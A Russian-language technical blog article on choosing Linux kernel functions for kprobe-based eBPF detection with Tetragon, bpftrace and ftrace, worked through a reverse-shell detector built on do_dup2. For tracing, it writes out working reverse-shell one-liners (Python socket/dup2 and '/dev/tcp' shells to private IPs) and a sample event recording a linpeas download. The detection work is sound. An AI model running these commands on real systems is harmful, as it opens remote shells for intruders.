
Содержание
Привет, Хабр! На связи снова Сергей Зюкин, я специалист компании Positive Technologies и занимаюсь разработкой экспертизы для продукта PT Container Secuiry (PT CS). В мои задачи входит разработка политик сбора событий на базе eBPF, а также разработка правил обнаружения вредоносной активности на уровне контейнерного райнтайма. Поскольку наш продукт активно использует eBPF, у нашей экспертной команды накопился определенный опыт работы с этой технологией, которым хочется поделиться с сообществом.
Статья является расширенной версией моего выступления на 11-ой конференции ZeroNights и содержит разбор другого примера, так что даже тем, кто слышал доклад вживую будет интересно. Погнали!
О чём эта статья?
Про eBPF уже сказано и написано достаточно много, поэтому я хочу сделать следующий шаг и чуть глубже рассмотреть практические аспекты работы c таким механизмом, как kprobe, который позволяет использовать функции ядра Linux для динамического запуска пользовательского кода.
Статья поможет ответить на вопросы:
Как понять, какую функцию ядра выбрать для использования с механизмом kprobe?
С чего начать ее поиск?
Какими инструментами пользоваться?
Материал этой статьи не претендует на то, чтобы быть руководством:
- по eBPF и eBPF-программам,
- по kprobe
- по bpftrace и ftrace.
eBPF
Технология eBPF открывает огромные возможности трассировки действий, происходящих в операционной системе как на уровне ядра, так и в пользовательском пространстве. Технология получила широкое распространение благодаря возможности динамически загружать и выполнять код на уровне ядра; она делает это безопасно и с минимальными накладными расходами. Особенное место технология заняла и среди инструментов обеспечения наблюдаемости и безопасности cloud-native-сред.
Возможности eBPF позволяют запускать свой код при вызове определенных пользователем функций ядра Linux или приложения из пользовательского пространства. Помимо этого, такие программы могут собирать значения переданных аргументов функции или ее возвращаемое значение. Все это может стать полезным источником информации для расследования инцидентов ИБ.
Подробно останавливаться на самой технологии я не буду, просто напомню упрощенный процесс того, как eBPF-программа загружается и исполняется, используя диаграмму ниже.

Я бы хотел поподробнее остановиться на точках подключения (Kernel Hook на диаграмме выше).
eBPF-программы используют специальные точки подключения, которые позволяют отслеживать возникновение нужных событий (например, запуск функции ядра Linux). Эти события являются триггером для запуска ее кода. Таким образом, точки подключения определяют, в какой момент eBPF-программа будет запущена.
Инфраструктура eBPF предоставляет большое количество различных точек подключения. Каждая такая точка является частью более широкого набора, например набор событий трассировки (kprobe, tracepoint, uprobe и т. д.) или набор событий сетевого стека (XDP, TC).
Давайте рассмотрим kprobe как один из наиболее распространенных механизмов.
Что такое kprobe
kprobe — это, по сути, ловушка, или брейкпоинт, который можно установить почти в любом месте кода ядра Linux.
Механика существовала и до eBPF и использовалась для трассировки того, что происходит в ядре с помощью утилит systemtap и ftrace. Технология eBPF позволила безопасно, эффективно и удобно использовать эту механику для внедрения и запуска кастомного кода.
eBPF позволяет использовать kprobe двух типов:
kprobe — брейкпоинт на входе функции или любой ее инструкции (позволяет получить значения аргументов исполняемой функции);
kretprobe — брейкпоинт на выходе функции (позволяет получить возвращаемое значение функции).
Сразу покажу, что этот механизм дает нам на практике.
Для демонстрации я буду использовать bpftrace — отличную утилиту, которая позволяет писать и запускать eBPF-скрипты (мы еще поговорим о ней немного позже).
В качестве примера возьмем tcp_connect() — это функция ядра Linux, вызов которой происходит в процессе работы системного вызова connect(), что указывает на попытку приложения установить TCP-соединение.
bpftrace -e 'kprobe:tcp_connect { printf("tcp connection via %d %s\n", pid, comm); print(kstack);}'
Запускаем!

Итак, давайте разберем по шагам (они в красных кружочках на рисунке выше).
После запуска команды bpftrace подключился на вход функции ядра tcp_connect, о чем bpftrace сообщил нам в сообщении Attaching 1 probe.
На том же сервере я использовал команду curl, чтобы вызвать HTTP-подключение к локальному конечному узлу.
Тут же видим срабатывание нашей eBPF-программы, которая вывела нам PID и имя процесса.
Кроме того, скрипт выдал нам последовательность вызовов в ядре, начиная с системного вызова connect().
Чуть выше мы говорили о том, что kprobe позволяет нам получить аргументы функции. Если вернуться к нашему примеру, то в качестве аргумента функция tcp_connect принимает структуру с типом sock, которая содержит в себе много интересной информации, в том числе адрес и порт назначения подключения.
Давайте сделаем этот пример интереснее и выведем IPv4-адрес и порт назначения соединения, устанавливаемого процессом.
В этот раз скрипт получится немного сложнее, поскольку нам нужно разобрать аргументы функции tcp_connect.
kprobe:tcp_connect
{
$s = (struct sock *)arg0;
// Get destination address and port from struct sock
$daddr = $s->__sk_common.skc_daddr;
$dport = $s->__sk_common.skc_dport;
// Convert port from network byte order
$port = (($dport >> 8) & 0xff) | (($dport << 8) & 0xff00);
printf("tcp connection via %d %s to %s:%d\n", pid, comm, ntop($daddr), $port);
// Uncomment to see kernel stack trace
print(kstack);
}
Для удобства сохраним его в файл, повторим пример и увидим подключение с указанием процесса, его PID, а также адрес и порт назначения:

Как видно из этих двух примеров, eBPF позволяет собирать нужные данные с помощью kprobe без особого труда, главное — найти нужную функцию.
Другие механизмы трассировки, доступные для мониторинга с помощью eBPF
Помимо krpobe, существуют и другие точки подключения, используемые для трассировки работы ядра:
tracepoint — статические точки подключения, заранее определенные разработчиками ядра.
LSM Hooks — механика подключения к специальному набору функций ядра, которые возвращают значение, называемое вердиктом, что помогает при реализации кастомного реагирования ИБ.
Для пользовательского пространства также существует набор точек подключения:
uprobe — то же самое, что и kprobe, но позволяет подключаться к функциям userspace-приложения
USDT — можно сказать, это аналог tracepoint, только для user-space-приложений
Ниже я сравнил несколько популярных механик трассировки работы ядра.
tracepoint |
kprobe |
bpf_lsm |
|
Плюсы |
Стабильность: точки редко меняются и поддерживаются всеми дистрибутивами |
Универсальность и гибкость: на выбор любая функция ядра и ее аргументы |
Реагирование: механика сконцентрирована вокруг вердиктов, которые специальные функции безопасности выносят в ответ на события, происходящие в системе (доступ к файлу, памяти, сокету и т. д.) |
Минусы |
Нет гибкости: точки размещены только там, где они потребовались разработчикам ядра.
|
Стабильность: код функции может меняться от дистрибутива к дистрибутиву и от версии ядра к версии |
Необходимые функции размещены не на всех путях исполнения syscall.
|
Почему для нас пока что предпочтительнее использование kprobe?
Ландшафт угроз постоянно меняется, каждый день появляются новые техники, новые методы обхода известных средств защиты — с нашей точки зрения, гибкость реализации в этих условиях абсолютна необходима. И kprobe эту гибкость обеспечивает.
Часто бывает так, что несколько связанных системных вызовов в процессе работы вызывают одну и ту же функцию ядра с разными аргументами, — это помогает нам экономить ресурсы клиента и управлять сложностью источников. Да, есть проблемы со стабильностью, которые варьируются от дистрибутива к дистрибутиву. Чтобы закрыть этот недостаток, мы используем выработанный процесс тестирования наших политик на разных версиях ядра и разных дистрибутивах.
Как мы используем kprobe в PT Container Security
Я уже упомянул, что PT CS «под капотом» использует eBPF для защиты среды выполнения контейнера.
В качестве источника телеметрии для обнаружения аномалий мы используем события полученные с помощью политик open source продукта Tetragon, который обеспечивает наблюдаемость и безопасность как обычных Linux-серверов, так и контейнерной среды, в том числе управляемой Kubernetes Продукт позволяет нам в удобном формате указать, какие функции ядра, их аргументы и значения необходимо мониторить. Для этого используется YAML-манифест примерно следующего содержания:
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
name: connect
spec:
kprobes:
- call: "tcp_connect"
syscall: false
return: false
args:
- index: 0
returnCopy: false
type: "sock"
YAML-манифест позволяет указать, какую функцию мониторить, значение каких аргументов следует включить в событие, нужно ли возвращаемое значение функции. Есть поддержка фильтрации событий по исполняемому файлу, PID, аргументам функции и т. д. Подробно о возможностях фильтрации рассказывал мой коллега Виталий Шишкин в статье «Tetragon: лучшие практики и нюансы разработки Tracing Policy».
После загрузки манифеста Tetragon автоматически создает необходимые eBPF-программы и загружает их в ядро, затем нормализует и обогащает дополнительной информацией возвращаемый от них результат.
В зависимости от конфигурации итоговое событие может дополнительно содержать следующие сведения:
список всех предков процесса;
k8s-контекст (имя контейнера, пода, неймспейса, образа, ноды кластера);
права доступа процесса;
ID всех Linux-неймспейсов.
Как и в примере с bpftrace, как только в ядре происходит вызов нужной нам функции, мы получаем событие.
Пример события, сгенерированного Tetragon с использованием манифеста выше
{
"process_kprobe": {
"process": {
"exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjMyODUwNzQ3NzcyMjkxMTg6MTY5MzczMg==",
"pid": 1693732,
"uid": 0,
"cwd": "/",
"binary": "/usr/bin/curl",
"arguments": "-LO https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh",
"flags": "execve rootcwd clone",
"start_time": "2024-03-22T11:45:01.570679989Z",
"auid": 4294967295,
"pod": {
"namespace": "default",
"name": "test-pod-debian",
"labels": [],
"container": {
"id": "cri-o://332cff0fb99f03f8b4fb9633f245ba21ad43339eeafd3b0ac3e5d9a38371262c",
"name": "test-pod-debian",
"image": {
"id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9",
"name": "docker.io/library/debian:12.2-slim"
},
"start_time": "2024-02-27T13:26:02Z",
"pid": 60210,
"maybe_exec_probe": false
},
"pod_labels": {},
"workload": "test-pod-debian",
"workload_kind": "Pod"
},
"docker": "332cff0fb99f03f8b4fb9633f245ba2",
"parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjMyODMxMzQwNzgzMDQwMjY6MTY3NDQ4NQ==",
"refcnt": 1,
"cap": {
"permitted": [
"CAP_CHOWN",
"DAC_OVERRIDE",
"CAP_FOWNER",
"CAP_FSETID",
"CAP_KILL",
"CAP_SETGID",
"CAP_SETUID",
"CAP_SETPCAP",
"CAP_NET_BIND_SERVICE"
],
"effective": [
"CAP_CHOWN",
"DAC_OVERRIDE",
"CAP_FOWNER",
"CAP_FSETID",
"CAP_KILL",
"CAP_SETGID",
"CAP_SETUID",
"CAP_SETPCAP",
"CAP_NET_BIND_SERVICE"
],
"inheritable": []
},
"ns": {
"uts": {
"inum": 4026534978,
"is_host": false
},
"ipc": {
"inum": 4026534979,
"is_host": false
},
"mnt": {
"inum": 4026535073,
"is_host": false
},
"pid": {
"inum": 4026535074,
"is_host": false
},
"pid_for_children": {
"inum": 4026535074,
"is_host": false
},
"net": {
"inum": 4026534980,
"is_host": false
},
"time": {
"inum": 4026531834,
"is_host": true
},
"time_for_children": {
"inum": 4026531834,
"is_host": true
},
"cgroup": {
"inum": 4026535075,
"is_host": false
},
"user": {
"inum": 4026531837,
"is_host": true
}
},
"tid": 1693732,
"process_credentials": {
"uid": 0,
"gid": 0,
"euid": 0,
"egid": 0,
"suid": 0,
"sgid": 0,
"fsuid": 0,
"fsgid": 0,
"securebits": [],
"caps": null,
"user_ns": null
},
"binary_properties": null
},
"parent": {
"exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjMyODMxMzQwNzgzMDQwMjY6MTY3NDQ4NQ==",
"pid": 1674485,
"uid": 0,
"cwd": "/",
"binary": "/usr/bin/bash",
"arguments": "",
"flags": "execve rootcwd",
"start_time": "2024-03-22T11:12:40.871754656Z",
"auid": 4294967295,
"pod": {
"namespace": "default",
"name": "test-pod-debian",
"labels": [],
"container": {
"id": "cri-o://332cff0fb99f03f8b4fb9633f245ba21ad43339eeafd3b0ac3e5d9a38371262c",
"name": "test-pod-debian",
"image": {
"id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9",
"name": "docker.io/library/debian:12.2-slim"
},
"start_time": "2024-02-27T13:26:02Z",
"pid": 60201,
"maybe_exec_probe": false
},
"pod_labels": {},
"workload": "test-pod-debian",
"workload_kind": "Pod"
},
"docker": "332cff0fb99f03f8b4fb9633f245ba2",
"parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjMyODMxMzQwNzQ2MjE2NDY6MTY3NDQ4NQ==",
"refcnt": 0,
"cap": {
"permitted": [
"CAP_CHOWN",
"DAC_OVERRIDE",
"CAP_FOWNER",
"CAP_FSETID",
"CAP_KILL",
"CAP_SETGID",
"CAP_SETUID",
"CAP_SETPCAP",
"CAP_NET_BIND_SERVICE"
],
"effective": [
"CAP_CHOWN",
"DAC_OVERRIDE",
"CAP_FOWNER",
"CAP_FSETID",
"CAP_KILL",
"CAP_SETGID",
"CAP_SETUID",
"CAP_SETPCAP",
"CAP_NET_BIND_SERVICE"
],
"inheritable": []
},
"ns": {
"uts": {
"inum": 4026534978,
"is_host": false
},
"ipc": {
"inum": 4026534979,
"is_host": false
},
"mnt": {
"inum": 4026535073,
"is_host": false
},
"pid": {
"inum": 4026535074,
"is_host": false
},
"pid_for_children": {
"inum": 4026535074,
"is_host": false
},
"net": {
"inum": 4026534980,
"is_host": false
},
"time": {
"inum": 4026531834,
"is_host": true
},
"time_for_children": {
"inum": 4026531834,
"is_host": true
},
"cgroup": {
"inum": 4026535075,
"is_host": false
},
"user": {
"inum": 4026531837,
"is_host": true
}
},
"tid": 1674485,
"process_credentials": {
"uid": 0,
"gid": 0,
"euid": 0,
"egid": 0,
"suid": 0,
"sgid": 0,
"fsuid": 0,
"fsgid": 0,
"securebits": [],
"caps": null,
"user_ns": null
},
"binary_properties": null
},
"function_name": "tcp_connect",
"args": [
{
"sock_arg": {
"family": "AF_INET",
"type": "SOCK_STREAM",
"protocol": "IPPROTO_TCP",
"mark": 0,
"priority": 0,
"saddr": "10.244.0.97",
"daddr": "140.82.121.4",
"sport": 55106,
"dport": 443,
"cookie": "18446635049337231936",
"state": "TCP_SYN_SENT"
},
"label": ""
}
],
"return": null,
"action": "KPROBE_ACTION_POST",
"stack_trace": [],
"policy_name": "pt-cs-tcp-out-monitoring"
},
"node_name": "ptexperts-k8s-ptcs",
"time": "2024-03-22T11:45:01.589721382Z",
"aggregation_info": null
}Помимо прочего, я считаю, что это отличный продукт для того, чтобы начать изучать eBPF, особенно, если вы не системный программист, но вам интересно немного углубиться в то, как оно работает «под капотом». Причин две:
— поддержка аргументов осуществляется самим продуктом, а это значит, что на первых порах вам не придется ковыряться в структурах ядра Linux и можно сконцентрироваться на поиске нужной функции.
— tetra — отдельная cli утилита, позволяет гибко фильтровать получаемые события, а также выводить только те поля из него, которые вам необходимы, что позволит быстро и эффективно выполнять отладку политик.
Для PT Container Security мы разрабатываем, тестируем и поддерживаем целый ряд политик, которые можно включать и отключать через интерфейс. Каждая из таких политик содержит специально отобранный нами набор функций ядра для мониторинга с помощью kprobe.

Поскольку качество работы источника событий напрямую влияет на качество обнаружения угроз в продукте, поиск надежной функции, лежащей в его основе, — залог успешного выявления аномальной активности.
Большинство источников на скриншоте выше используют именно комбинацию функций ядра, а не системные вызовы. Мы уже убедились на практике: такой подход обеспечивает более высокое покрытие кейсов, так как позволяет наблюдать, что происходит на более низком уровне, чем системные вызовы. Еще часто бывает, что аргументы системного вызова не содержат нужных нам переменных или их значения ни о чем нам не говорят. Кроме того, есть достаточное количество техник, позволяющих замаскировать активность от средств защиты, которые основаны на мониторинге системных вызовов, или даже обойти их.
Конечно, есть и свои минусы в этом подходе. Например, возвращаемое значение часто не совпадает с тем, что в итоге возвращает процесс (exit code), что не дает нам возможность отличить успешные действия от неуспешных. Кроме того, существуют ограничения на использование некоторых функций для мониторинга с помощью kprobe, о чем мы подробнее поговорим в следующем разделе.
Рекомендации по поиску функций
Для начала следует разобраться, что вы хотите обнаружить. Поэтому, прежде чем мы перейдем к рекомендациям, давайте обозначим некоторые принципы и ограничения. Они немного специфичны для нашего продукта, но все же помогут лучше понять наш метод.
Container Runtime
На данный момент мы концентрируемся только на событиях контейнера и исключаем события хостовой ОС. Этот вид мониторинга пока что находится в разработке и будет выпущен как отдельная фича.Одно событие — один детект
Пока что продукт не использует коррелятор, который позволил бы строить обнаружение по нескольким событиям. Мы планируем выпуск этой фичи. Следите за новостями.Переиспользование источников
Новая политика для генерации событий разрабатывается только тогда, когда это необходимо. Стараемся, чтобы источники были максимально универсальными. Экономим ресурсы клиента.Binary agnostic
На этом подходе, пожалуй, остановлюсь немного подробнее.
Binary agnostic
При разработке кода правил обнаружения мы стараемся придерживаться так называемого binary-agnostic-подхода. То есть наши детекты — это не просто набор регулярок на исполняемые файлы и их аргументы: это глубокий анализ техники, которой пользуются атакующие, и базирование обнаружения на такой телеметрии, которая сгенерируется независимо от их инструментария.
Приведу пример. Классический reverse shell в Linux можно реализовать несколькими способами и с помощью разных утилит. Но, по сути, их объединяет одно и то же действие — это манипуляция со стандартным вводом и стандартным выводом. В частности, копирование их дескрипторов в сетевой сокет (самый распространенный способ).
# strace -f -o rs_python.strace python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.203.152",3245));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'
#
18800 socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC, IPPROTO_IP) = 3
18800 connect(3, {sa_family=AF_INET, sin_port=htons(3245), sin_addr=inet_addr("192.168.203.152")}, 16) = 0
18800 dup2(3, 0) = 0
18800 dup2(3, 1) = 1
18800 dup2(3, 2) = 2
Но есть проблема: сам системный вызов dup2() не содержит информацию о том, является ли дублируемый в stdin дескриптор (3 из примера выше) сетевым сокетом.
Проанализировав последовательность вызовов функций ядра при использовании dup2(), мы обнаружили функцию do_dup2().

В качестве аргумента передается файл (struct file), дескриптор которого дублируется (то есть наш сетевой сокет), а другой аргумент принимает значение итогового «дескриптора-дубля» (здесь мы как раз ожидаем stdin).
В Tetragon такое событие будет выглядеть примерно так (сокращу вывод, оставлю только аргументы функции и ее имя):
"function_name": "do_dup2",
"args": [
{
"file_arg": {
"mount": "",
"path": "",
"flags": "",
"permission": "srwxrwxrwx"
},
"label": ""
},
{
"int_arg": 0,
"label": "fd"
}
],
Это как раз то, что нам нужно. Итоговую логику детектора можно представить в виде следующего псевдокода:
event['process_kprobe']['function_name'] == 'do_dup2'
and event['process_kprobe']['args'][0]['file_arg']['permission'] match r'^s'
В разделе с инструментами подробнее разберу этот пример, а пока что стоит отметить, что этот подход не всегда удается применить. Поэтому существуют детекторы, которые используют регулярные выражения для обнаружения определенных действий. Однако даже в этом случае качество поставляемой телеметрии от Tetragon позволяет избежать распространенных проблем, связанных с ним. Об этом можно почитать в другой моей статье.
Критерии поиска
Описанные выше принципы и ограничения разработки правил, а также специфика kprobe формируют определенные требования к поиску нужной функции.
Функция должна поддерживаться всеми LTS-ядрами и всеми популярными дистрибутивами Linux. Опять же, это касается стабильности kprobe. На практике мы столкнулись со случаем, когда при разработке источника для обнаружения монтирования файловых систем нужная функция не вызывалась в процессе работы системного вызова mount() в Debian Linux.
Тип аргумента функции должен поддерживаться в Tetragon. К сожалению, не все структуры ядра поддерживаются и могут быть использованы в коде правил обнаружения.
Например, для обнаружения подключений к Unix-сокетам можно использовать функцию unix_stream_connect, где в качестве аргумента используется особый подтип структуры sockaddr — sockadr_un, который в поле sun_path возвращает полный путь для файла-сокета в системе. Этот путь можно использовать для отслеживания обращений только к нужным сокетам.
struct sockaddr_un {
sa_family_t sun_family; // must be AF_UNIX
char sun_path[108]; // socket path
};
Tetragon в последнем релизе (1.4) добавил поддержку структуры sockaddr, однако подтип sockaddr_un пока что также не поддерживается. Поэтому был заведен соответствующий issue.
События от функции должны служить источником полезной информации при проведении оператором поиска и анализа угроз, а также при расследовании инцидентов.
Рекомендации
Не погружайтесь очень глубоко в последовательность вызова. Вы можете столкнуться со спецификой, которая вызывается только в определенных случаях (и не покроет тот контекст, который вы ищете) или, наоборот, используется регулярно (при ее использовании есть риск получить ложноположительный результат или просто «спам» событий).
Убедитесь, что вы понимаете, в каких ситуациях функция вызывается. Для этого достаточно посмотреть код ее функции-родителя и убедиться, что при вызове вашей функции не используется условие (if <...> else <...>), а если используется, то вы должны понимать контекст вызова.
Если вам нет необходимости собирать неудачные попытки запуска, то хорошим вариантом могут стать функции используемый для bpf_lsm. Поскольку это такая же функция в коде ядра Linux, вы можете использовать механизм kprobe для работы с ней. Ниже приведен неполный список с указанием соответствующих системных вызовов.
lsm_bpf |
syscall |
security_bprm_check |
execve, execveat |
security_file_open |
open, openat |
security_inode_unlink |
unlink, unlinkat |
security_socket_create |
socket |
security_socket_listen |
listen |
security_socket_connect |
connect |
security_socket_accept |
accept, accept4 |
security_socket_bind |
bind |
security_sb_mount |
mount |
Если функция работает с путями в файловой системе, убедитесь, что она использует полный, а не относительный путь в своих аргументах.
Я уже писал про нестабильность kprobe, поэтому обратите внимание на поддержку функции разными версиями ядра, которые используются в вашей инфраструктуре. Помимо того что функции может просто не быть в нужной версии ядра, ее код или аргументы могут быть изменены в разных релизах, что потребует адаптации или поиска другой функции.
Обращайте внимание на встраиваемые функции, которые в коде ядра объявлены, с использованием ключевого слова inline. Такие функции не получится перехватить с помощью kprobe, поскольку фактически они никогда не будут вызваны — вместо этого будет вызван только их код.
Ранее я упомянул о том, что kprobe можно прикрепить почти к любой функции ядра Linux. Эти ограничения были введены разработчиками намеренно для того, чтобы избежать опасных ситуаций при их вызове (например, рекурсии вызовов — kprobe на kprobe). Список запрещенных функций меняется от релиза к релизу, поэтому для каждой версии лучше проверять отдельно. Для этого достаточно выполнить команду:
grep <Название_функции> /sys/kernel/debug/tracing/available_filter_functions
Если ничего не нашлось, значит, эту функцию нельзя использовать для трассировки.
Инструментарий для поиска нужных функций ядра
Инструментов для трассировки ядра достаточно много. Охватить все в рамках этой статьи мы не сможем. Поэтому я сконцентрируюсь на минимально достаточном наборе утилит, который прост в освоении, установке и использовании.
В качестве примера давайте разберем поиск функции для обнаружения некоторых видов реверс-шелла. Я уже немного писал про него в части, где описывал рекомендации по поиску. Теперь рассмотрим этот пример более детально, с описанием того, как инструмент помогает решать конкретную проблему. В качестве результата получим последовательность действий, которую можно применять для поиска нужных функций ядра.
strace
Как я писал выше, начинать нужно с анализа атаки, и тут нам поможет старый добрый strace. Вывод от strace позволит нам разложить атаку на последовательность системных вызовов, выявить ее алгоритм и сформировать шаблон поведения (особенно если атаку можно провести с помощью разных утилит). На основе этой информации можно сделать предположение, какой из системных вызовов будет индикатором реализации атаки.
В случае с реверс-шеллом strace помогает разложить манипуляции со стандартными потоками ввода-вывода и выявить dup2 как основной показатель реализации этой техники. Ниже я скомпоновал команду вызова strace для трассировки двух способов запуска реверс-шелла с частью ее вывода, где показаны вызова системного вызова dup2.
# strace -f -o rs_python.strace python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.203.152",3245));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'
#
18800 socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC, IPPROTO_IP) = 3
18800 connect(3, {sa_family=AF_INET, sin_port=htons(3245), sin_addr=inet_addr("192.168.203.152")}, 16) = 0
18800 dup2(3, 0) = 0
18800 dup2(3, 1) = 1
18800 dup2(3, 2) = 2
# strace -f -o rs_bash.srace sh -c "sh -i >& /dev/tcp/192.168.203.152/3245 0>&1"
#
19037 socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
19037 connect(3, {sa_family=AF_INET, sin_port=htons(3245), sin_addr=inet_addr("192.168.203.152")}, 16) = 0
19037 dup2(3, 1) = 1
19037 close(3) = 0
19037 dup2(1, 2) = 2
19037 dup2(1, 0) = 0
Подробно останавливаться на этом инструменте я не буду, он прост, хорошо задокументирован и изучен.Как я уже писал, dup2 для нас не очень информативен, поскольку содержит только номера файловых дескрипторов, а нам необходимо как-то определить, что операция дублирования происходит именно над сетевым сокетом.
Как известно, системный вызов со стороны пользовательского пространства представляет собой libc-обертку над соответствующим вызовом в пространстве ядра. Код такого вызова представляет из себя последовательность функций ядра, которую можно получить с помощью другого известного инструмента — ftrace.
ftrace: function_graph tracer
Это фреймворк, который предоставляет разработчикам и администраторам большой набор различных метрик для трассировки и дебага того, что происходит внутри ядра.
Вот его основные преимущества:
в большинстве случаев он включен по умолчанию;
работает «из коробки» на большинстве ядер, если не отключен принудительно;
есть встроенная фильтрация по функциям и PID процесса;
может строить графы вызова функций.
ftrace использует различные плагины (трейсеры) для выполнения своих задач. Нас интересуют два:
function_graph — позволяет составить граф последовательности вызова функций ядра процессом;
function — трассировка запуска функции, представленная в виде плоской структуры.
Работать с ftrace можно вручную или с использованием специальных утилит, что значительнее удобнее. Однако я все же опишу принцип работы, чтобы вы понимали, что происходит при запуске утилиты.
ftrace использует псевдофайловую систему tracefs, в которой необходимо задавать параметры, используя различные файлы управления. Настройка применяется сразу после внесения изменений в файл, а сама файловая система обычно смонтирована здесь — /sys/kernel/debug/tracing/.
В табличке ниже я собрал самые основные файлы, необходимые для работы, полный список с описанием тут.
Имя файла |
Описание |
available_tracers |
Содержит список доступных плагинов (трейсеров) |
current_tracer |
Плагин, который включен в данный момент |
available_filter_functions |
Функции ядра, доступные для фильтрации |
available_events |
Tracepoints, доступные для фильтрации |
set_ftrace_filter |
Фильтр по используемой функции |
set_ftrace_pid |
Фильтр по PID |
set_graph_function |
Отображение только заданной функции и функций, которые она вызывает |
tracing_on |
Запуск или остановка трассировки |
trace |
Содержит результат трассировки |
Как видите, работать с таким механизмом управления не очень удобно, поэтому существуют утилиты, которые значительно упрощают этот процесс.
Самая распространенная — trace-cmd. Давайте на ее примере посмотрим, как ftrace нам может помочь.
Итак, напомню, что для начала нам нужно посмотреть именно последовательность вызова, чтобы получить полный список функций, которые вызываются в процессе работы этого вызова. С этим нам как раз поможет плагин function_graph.
Запустим трассировку вызова с помощью следующей команды:
trace-cmd start -p function_graph -g __x64_sys_dup2 -c -F sh -i >& /dev/tcp/172.25.101.196/8888 0>&1
В этой команде используются следующие опции:
-p — означает, какой плагин использовать;
-g — фильтр по функции и всем функциям, которые она вызывает (в нашем случае системный вызов sys_dup2);
-F — фильтрация только по используемой команде, здесь мы указываем последовательность создания реверс-шелла;
-c — включение в трассировку дочерних процессов, которые создает указанная в фильтре команда.

Остановить трассировку можно командой:
trace-cmd stop
Теперь можем посмотреть полученный граф с помощью команды:
trace-cmd show

Как видно, граф показывает последовательность вызова функций, родителем которых является __x64_sys_dup2. Дополнительно граф содержит данные трассировки: на каком CPU работал вызов, длительность работы каждой функции.
Давайте посмотрим на итоговый граф. Для удобства отображения я сокращу его вывод до двух уровней вложенности, что даст нам следующую картину:
__x64_sys_dup2() {
ksys_dup3() {
_raw_spin_lock();
expand_files() {}
do_dup2() {
_raw_spin_unlock();
}
}
}
Как видно, __x64_sys_dup2() на самом деле запускает ksys_dup3(), которая, в свою очередь, запускает функции expand_files() и do_dup2().
Отлично, теперь у нас есть три функции — кандидата на роль источника событий для обнаружения реверс-шелла. Но чтобы определиться с выбором, нам не хватает одной важной детали. Думаю, вы успели заметить: главным минусом описанных выше инструментов является то, что трассировка не отдает нам аргументы функции — ни список с указанием типа, ни их значения.
Эту проблему частично решает другой инструмент — elixir.
elixir
elixir.bootlin.com/linux/ — веб-ресурс, содержащий интерактивный поиск по исходному коду ядра Linux, разработанный и поддерживаемый французской компанией bootlin, занимающейся разработкой программного обеспечения для ядра Linux, а также портированием кода ядра под различные системы.
Ресурс поддерживает все официальные мажорные и минорные выпуски ядра — благодаря этому удобно проверять, поддерживается ли функция разными версиями ядра Linux. Интерактивный режим позволяет быстро получить информацию о любой структуре, типе, функции или переменной.
Давайте посмотрим, как это работает на примере наших кандидатов. Для начала найдем функцию ksys_dup3(), поскольку она вызывает других кандидатов, и посмотрим ее аргументы и код.


Из кода понятно, что аргументы функции ksys_dup3() не содержат того, что мы ищем. expand_files() — судя по всему, вспомогательная функция, которая может быть вызвана не только в контексте изучаемой техники. Это тоже нам не подходит, поскольку использование такой функции в качестве источника телеметрии может привести к ложным срабатываниям.
А вот функция do_dup2() выглядит многообещающе. В списке ее аргументов есть структура файла и файловый дескриптор.

Если внимательно изучить, что передается в аргументы этой функции, можно заметить, что переменная file получается путем преобразования из файлового дескриптора, заданного в переменной oldfd. Проследив за тем, откуда берется значение oldfd (см. картинку ниже) можно узнать, что оно соответствует первому аргументу, передаваемому из libc-обертки.

Как раз в этот аргумент попадает файловый дескриптор сетевого сокета, который мы ищем. Структура file поддерживается в Tetragon. Это означает, что мы можем получить все атрибуты этого файла, включая тип, который укажет, что перед нами сетевой сокет.
Переменная newfd в вызове do_dup2() заполняется схожим образом и в случае запуска реверс-шелла будет содержать дескриптор стандартного ввода.
В итоге функция do_dup2() — предположительно, наш идеальный кандидат, поскольку содержит всю необходимую информацию для обнаружения техники reverse shell. Но прежде чем мы перейдем к написанию политики для Tetragon, нужно убедиться, что функция будет стабильно вызываться независимо от реализации техники атакующими. В этом нам поможет другой плагин для ftrace — function.
ftrace: function tracer
Плагин function позволяет выполнять трассировку вызовов функций ядра. Этот плагин, как и function_graph, поддерживает фильтрацию. Его удобно использовать для подтверждения, что найденная функция вызывается при разных реализациях техники атакующего, поскольку, в отличие от functon_graph, он позволяет получить всю необходимую информацию одной лаконичной строкой.
В этот раз давайте воспользуемся другим инструментом — набором утилит perftools, который создан и поддерживается Брендоном Греггом для дебага производительности Linux-систем. (Если вы не знакомы с этим автором, то рекомендую почитать его книгу System Performance (Производительность систем).)
В директории kernel указанного репозитория собрано несколько инструментов, которые являются по сути bash-обертками стандартного ftrace. Утилита funcgraph использует плагин function_graph, а functrace — плагин function.
Для запуска достаточно указать, какую функцию мы хотим мониторить:
./functrace do_dup2
Давайте попробуем запустить реверс-шелл с помощью разных инструментов, чтобы проверить, что вызов функции осуществляется в любом случае.

Как видно на скриншоте, несколько разных способов создать реверс-шелл (1, 2, 3) вызывают функцию do_dup2. Мы не будем перечислять все возможные примеры, для демонстрации этого достаточно. Теперь мы уверены, что функция будет использоваться при реализации техники независимо от инструментария.
bpftrace: проверка гипотезы
Это необязательный шаг, однако ввиду ограничений Tetragon по поддержке определенных аргументов я стараюсь дополнительно проверять, что аргументы функции в принципе отдают то, что мы ищем. Для этого я обычно пишу небольшой скрипт на bpftrace.
bpftrace — это высокоуровневый язык для трассировки событий ядра с помощью eBPF. Позволяет быстро и просто запустить eBPF-программу, не погружаясь в детали работы самого eBPF.
